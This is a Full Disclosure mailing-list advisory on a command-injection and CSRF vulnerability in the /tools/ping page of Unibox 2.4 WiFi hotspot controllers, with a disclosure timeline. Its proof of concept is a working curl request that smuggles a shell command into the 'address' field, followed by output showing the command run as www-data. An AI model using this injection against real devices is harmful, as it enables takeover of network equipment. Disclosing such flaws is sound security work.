

[Skip to site navigation \(Press enter\)](#)

[FD] KSA_DEV-009 :- Authenticated Code Execution In Unibox 2.4

Kaustubh via Fulldisclosure Sun, 07 Feb 2021 09:37:27 -0800

Authenticated Remote Code Execution In Unibox 2.4

. contents:: Table Of Content

Overview
=====

Title:- Authenticated command execution in all UNIBOX WiFi Hotspot Controller.
CVE ID:- Not Yet Assign
Author: Kaustubh G. Padwad
Vendor: Wifi-soft (<https://www.wifi-soft.com/>)
Products:
1.Unibox SMB
2.UniBox - Enterprise Series
3.UniBox - Campus Series

Tested Version: Unibox U-50 | UniBox 2.4 (Respetive for others)
Severity: Critical

Advisory ID
=====
KSA-Dev-009

About the Product:

=====

UniBox is one of the most innovative and reliable Hotspot Controllers in the market today. You can install UniBox to manage any sized WiFi network without having to replace any existing infrastructure. With UniBox, you don't need any other solution for managing WiFi access. It comes packed with features so just one box is enough to handle all the functions of WiFi hotspots.

Description:

=====

An issue was discovered on Unibox SMB with Unibox 2.4 and poterntially respected all other devices. There is Code Execution vulnerability via /tools/ping Function in device which leads to complete device takeover.

Additional Information

=====

The page /tools/ping can be tricked via specially crafted request which will leads to the code execution on device also device does not validate the csrftoken,hence By combining this two attack we can form the Authenticated remote code execution on device leads to complete device takeover.

[Vulnerability Type]

=====

Remote Code Execution (RCE)
Cross Site Request Forgery (CSRF)

How to Reproduce: (POC):

=====

```
curl -i -s -k -X $'POST' \
-H $'Host: 136.232.224.22' -H $'User-Agent: Mozilla/5.0 (X11; Linux
x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' -H $'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H
$'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate'
-H $'Referer: http://136.232.224.22/tools/ping' -H $'Content-Type:
application/x-www-form-urlencoded' -H $'Content-Length: 25' -H
$'Connection: close' -H $'Cookie: PHPSESSID=k4l9or0l5xxxxxxxxxxx' -H
$'Upgrade-Insecure-Requests: 1' \
-b $'PHPSESSID=k4l9xxxxxxxxxxx' \
--data-binary $'pingaction=l&address=1;id' \
$'http://136.232.224.22/tools/ping'
```

Sample OutPut

```
<table width=100%>
<tr>
<td>
<br>
</td>
</tr>
<tr>
<td id='pingResponseTable'>
<table border="1" bordercolordark="#E0E0E0"
bordercolorlight="#000000" class="search" cellpadding="0" cellspacing="0">
<tr style='background-color:#3F6C96'>
<td>
<font color="white">
<b>&nbsp;  Ping Status</b>
</font>
</td>
<br>
</tr>
<tr style='background-color:#D8E4F8'>
<td>uid=33(www-data) gid=33(www-data) groups=33(www-data)
<br>
</td>
</tr>
</table>
```

[Affected Component]
/tools/ping

[Attack Type]
Remote

[Impact Code execution]
true

[Attack Vectors]
once victim open the crafted url the device will get compromise

Mitigation

=====

Reported to vendor yet no reponse received

Disclosure:
=====

08-JAN-2020 Discoverd the Vulnerability, and Reported via contact form
20-JAN-2020 Vendor responded via call
23-JAN-2021 Requested Vendor for update
xxxxxxxxxxx No communication recived furter
Hence disclosing under responsible discloser

[Vendor of Product]
WiF-Soft (<http://https://www.wifi-soft.com/company/about.php>)

credits:
=====
* Kaustubh Padwad
* Information Security Researcher
* kingkaust...@me.com
* <https://s3curitvb3ast.github.io/>
* <https://twitter.com/s3curitvb3ast>
* <http://breaktheseccom>
* <https://www.linkedin.com/in/kaustubhpadwad>

Sent through the Full Disclosure mailing list
<https://mmac.org/mailman/listinfo/fulldisclosure>
Web Archives & RSS: <http://seclists.org/fulldisclosure/>


- [Previous message](#)
- [View by thread](#)
- [View by date](#)
- [Next message](#)

Reply via email to

Kaustubh via Fulldisclosure

The **Mail** Archive



Search the site 

- [The Mail Archive home](#)
- [fulldisclosure - all messages](#)
- [fulldisclosure - about the list](#)
- [Expand](#)
- [Previous message](#)
- [Next message](#)
- [The Mail Archive home](#)
- [Add your mailing list](#)
- [FAQ](#)
- [Support](#)
- [Privacy](#)
- d543ffb1-944b-f628-770d-874e70f4b121@me.com